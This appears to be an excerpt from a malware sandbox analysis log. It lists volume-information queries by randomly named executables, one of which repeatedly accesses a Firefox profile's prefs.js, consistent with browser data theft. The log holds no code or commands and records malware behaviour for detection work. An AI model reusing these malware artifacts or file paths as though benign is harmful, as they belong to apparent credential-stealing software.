Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\System32\WinMetadata\Windows.Globalization.winmd VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Controls.Ribbon\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Controls.Ribbon.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.InteropServices.WindowsRuntime\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Runtime.InteropServices.WindowsRuntime.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\System32\WinMetadata\Windows.Data.winmd VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation
Source: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WPFFA17.tmp VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019675001\74b92d58dc.exe Queries volume information: C:\ VolumeInformation
